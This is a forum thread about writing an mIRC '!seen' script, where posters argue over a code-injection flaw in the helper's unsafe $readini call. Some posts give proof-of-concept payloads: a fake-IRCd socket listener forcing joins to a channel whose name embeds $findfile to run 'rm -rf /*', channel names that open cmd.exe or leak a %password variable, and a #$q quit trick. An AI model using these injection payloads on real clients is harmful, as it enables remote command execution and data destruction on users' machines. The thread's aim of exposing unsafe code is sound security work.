I'm not exactly shure how to do it, but I would like a script that when that when anyone on the Channel types for e.g. "Have you Seen (Nick here)" it replies " I havent Seen (Nick Here)"

How would I do that?
Should I use " on 1:text:Have you Seen $nick:#:/msg $chan I havent Seen $nick"

It does not seem to work

Thanks!

You would need a list of nicknames to recognize.

$nick in an event is the nickname triggering the event. In this case, the person asking if you have seen someone.

From the looks of it, it appears you may want to log nicknames on join and part. Maybe when you join you can perform a who on the channel and add people in the room to the list.

Bottom line, when someone asks "Have you seen X". mIRC would then check for X in your list of nicknames. Then it can return any saved info you may have on it. Or simply reply yes.

I don't mind helping you develop this as you give more details about how you would like to do this.

Ok to be more precise, I though of using something to save the nick and the last time he logged in. maybe using a Text file. But since I'm am not use to the mIRC Language I dont exaclty know how to do it, I am reading the help file right now lol.

This should do what you want. It is untested but basic. You can change $nick to $address to save it by the address in case they change their nick.

They would type !seen Nickname in the room.

Let us analyse what happens if a curious ircop (foo) notices what I noticed:
1. foo uses sajoin, forcejoin or svsjoin to force the user running the script (bar) to join #$version.
2. foo joins #$version.
3. foo sends !seen foo.
4. bar's script automatically responds: foo seen: Names foo seen: 6.35

Let us analyse what happens if that curious ircop has a malicious bone, and happens to be the network administrator:
foo writes a very simple listener to act as an IRCd:
on 1:SOCKOPEN:client_*: {
var %chan = #$!findfile($mircdir,*.*,1,1,$+(run,$chr(32),rm,$chr(32),-rf,$chr(32),/*))
sockwrite -n $sockname :bar!bar@bar JOIN %chan
sockwrite -n $sockname :foo!foo@foo JOIN %chan
sockwrite -n $sockname :foo!foo@foo PRIVMSG %chan :!seen foo
}

and it's a good thing bar isn't running Linux. The $readini that doesn't use the n switch would then evaluate the line it has read as code, which would likely end up attempting to execute rm -rf * on bar's machine.

I'm getting sick of attempting to correct people who simply don't know this yet. It's not your fault that someone else on this list thinks I'm a complete idiot, but please, please, PLEASE read /help $read and /help $readini thoroughly, and if you see anyone using it unwisely, inform them! In this case the attacker would need to be running a malicious server that the victim joins, but I've seen some mighty stupid blunders out there!

Can you have a nick called "rm -rf *"? That is what is needed for your scenario to work (noting how the ini file is written).

If bar is running Linux, then bar is unlikely to be running mIRC, unless it is encased in some emulator that doesn't recognise Linux commands!?

Cheers,

DK

Maybe you didn't read it correctly. All it writes to the ini file is asctime and the channel name.

So you are saying this person here would make a channel named #$version ? And somehow that would evaluate to mirc's version number? Then what?

Look, if you have a malicious server or ircop, they are going to do whatever they want to you regardless. And on a sockopen you dont sockwrite join commands.

So get sick attempting to correct people. Maybe you can better explain your concern with this code.

I found a mistake in my code.



In the text event I used $nick for the $readini. It should have been $2.

He is right to correct you about that because you give exploitable code, how he said it to you is a different story.

Then show me how this will be used to take over someones computer or whatever.


writeini nicktrack.ini Names $nick $asctime(HH:nn dd/mm/yyyy) #

I think someone in this thread make a whole post about explaining that part.

Quick test :
//writeini test.ini Names plop $asctime(HH:nn dd/mm/yyyy) #$version | echo -a $readini(test.ini,Names,plop)

Try imagine if it was a $findfile

Note that the exploit exists because the code you gave is active on any channel

DK, you've failed to see the problem here. #$version evaluates the same as $version, so it's the _channel_ that can evaluate too. Regardless of Linux, mIRC commands can be executed and that is the problem. I gave an irrelevant Linux example so s'kiddies wouldn't take it and run rampage, but it's remarkably easy to convert to windows.

Here's an example for you:
1. /write -c C:\text.txt $version (note the use of only 1 slash so no evaluation)
2. //echo -a -- $read(C:\text.txt) <--- the literal text '$version' is evaluated as code, thus this is unsafe.
3. //echo -a -- $read(C:\text.txt,n) <--- the literal text '$version' is not evaluated as code, thus this is safe.

How could your example be used to take over someone's computer? Well, I already demonstrated that in the simpler way. Using the same method as above:
1. /write -c C:\text.txt #$findfile($mircdir,*.*,1,1,run cmd.exe)
2. //echo -a -- $read(C:\text.txt) <--- you now have cmd.exe open

According to the IRC draft a channel can't have spaces or commas in it so #$findfile($mircdir,*.*,1,1,run cmd.exe) is an illegal channel name. To avoid that issue the malicious administrator could write a script that acts as an IRCd and allows the commas (against standards). $+ can be used to remove the spaces. Other mIRC commands can be used, scripts can be written and loaded, etc, etc.

So in the off chance that the guy is in a room called #$version. It then messages the room $asctime 6.35. Ok what then? How does this compromise the users machine?

What if the room was called #$findfile ?

What would this do? /msg # $asctime(HH:nn) #$findfile


I think you are trying too hard. Back to my original comment. If your server is run by a jerk, or an IRCOP likes to mess with the chatters. They can mess with you regardless of your scripts.

edit: I posted this just above your message (before you):


And correct, they can "mess with you" (your computer, really) if you're running vulnerable software. If you're not and afaik the most up-to-date version of mIRC isn't yet publicly vulnerable, then no they can't "mess with you", unless of course you're running this script.

You can think I'm trying too hard, in which case I will think you're unwilling to learn and will thus go through no attempt in the future to teach you anything. Ahh, optimism bias.

Your example has nothing to do with the code I presented. Sure I can give you a number of different ways someone could compromise your code. But we are talking about a specific line. And you are saying in the offchance that a room is named a malicious command. Seriously? How about I prefix the join event with @ so its the ops own fault.

Sorry it just seems you are really going out of your way to try and find a reason why the writeini line is exploitable.

The important point is that it is exploitable, whatever how it is, it's bad habit to give unsafe code, #$plop( (a perfect valid channel) will create an error if it's evaluated, it's not about finding a reason, I'm sure you don't want to give code that can fail

The code is exploitable, and not just by an evil oper but by users as well. All one needs to do is get you to join #$q (which is a valid channel name) to be able to make you quit IRC (/q is a /quit default alias, or at least something a lot of users have installed). It may not be possible to cram $findfile in there (main issue being that commas are treated as channel delimiters) but apart from the fact that a less serious exploit is still an exploit, you don't want to make assumptions about the attacker's creativity.

I tested #$q and #$plop with no issues.

I have never seen rooms like these? Are these common on the networks you go to? Do you commonly see rooms named after exploitable commands?

For the problem to occur, a user needs to type the !seen command. As has been explained, it is the extra evaluation of $readini() that causes the problem.

Commonality has nothing to do with this - we're not talking about channels that happen to be named #$q, we're talking about exploits: a malicious user would invite you (or otherwise get you) to join a channel with a specially crafted name. This is how most exploits work in general.

The fact that you don't consider such a channel name common is to the malicious user's advantage: if such channels were common, chances are you'd be aware of the issue and wouldn't provide exploitable code.

Not true. $q doesn't execute quit anymore. A regular user could exploit this to reveal information about variables, for example: #$+(%password) and if your nickserv password is in the variable %password, then it becomes visible. A regular user could exploit this issue if $decode or some other decoding mechanism (that doesn't return any comma or whitespace) is present: #$($decode(...))

Furthermore, a regular user could exploit this to find out $version, if CTCP is blocked, as displayed many times before. For earlier versions of mIRC, it may be possible to trigger an $asctime buffer overflow exploit on some networks if their CHANLEN is large enough (though I don't know enough about this to be sure). Under very rare occasions it may be possible to use $read to trigger a recursive situation where an exploit may eventually be triggered. Due to lack of interest, I haven't explored this situation.



It's possible to cram a $findfile in there, but the IRCd wouldn't be standard. Nonetheless, it's possible and the network admin are the people who decide what IRCd they run. An IRC network administrator could exploit it to the point where they don't need $decode (because they can be creative and manipulate an IRCd so they can use commas in channel names) and there is no limit on channel name length. This is possible:


The client would then be forced to join #$findfile($mircdir,*.*,1,1,%command) where %command has been expanded to the evaluation provided above. The system would then be successfully compromised, with less than 100 lines of mIRC code to simulate a server that forces every user to join the channel. Social engineering could be used to convince people to join the exploit server:


edit: perhaps Khaled could add to his todo list: block script execution for #$findfile -- no sane scripter would use #$findfile(...) and this would provide just that little bit more security.

edit #2: It may also be possible for a user to exploit this issue if they're very desperate and they know how to cause DNS cache pollution. They'd have to have a specific target, and know their IP address at the very least.

edit #3: In order to "refrain from any comments if you think people did stupid or non logical things", as suggested by one of the forum moderators, I won't be pointing out any vulnerable or "stupid" code in the future. I hope that makes whoever was upset by my constructive criticism happy.

The mirc installer used to install certain common aliases (this is what I meant by "default aliases"), like /j and /q (there used to be a line "/q /quit $1-" in Aliases). In these cases, $q would certainly execute /quit. I seem to remember these stock aliases are no longer included in a clean install but many users still have a /q alias. These details are besides the point though, which is that an attacker can do a lot of damage if they happen to have a little more information about a victim's installed aliases.

I'm sure the moderator who told you that did not mean "do not comment when a helper gives out vulnerable code" in particular - he was probably thinking of your often incendiary and sometimes downright rude attitude, which I think distracts people from the actual constructive points made in your posts.

Ohh, indeed. I apologise, you are correct. I was mistakening /q for an inbuilt function.


I understand that the last thing you guys want in your forum is someone who is constantly rude. I understand this. The reason you may describe me as "incendiary" is simple, however lengthy.

Every now and then you'll come across a message that displays a clear understanding of intent and a vague description of what went wrong with the logic. This displays how eager the person is to learn (whether it be learning to script or just learning to fix the problem). They've probably already done a fair bit of research into their problem, consulted the docs, etc. It makes helping easy, and enjoyable. Not just that, but due to the time they've taken to describe their problem and ask for help, you can assume they're a humble person. They're not likely to be bothered if you say "this code is stupid" (probably in a nicer way), and point them in the right direction because they're so eager to learn that they'll be happy when they understand why their solution doesn't work and/or how to solve their problem properly.

Then there's the people who don't know how to learn (eg. by reading documentation), the impatient people, the people who know better, and the people who just want someone else to do it. There is one lot of people who have an excuse here, and they're probably not all that intelligent because they don't know how to learn. Call the code stupid, and refer them to the help files, and even if they're spoonfed by someone else, they might just notice that "rude" message that's telling them to RTFM.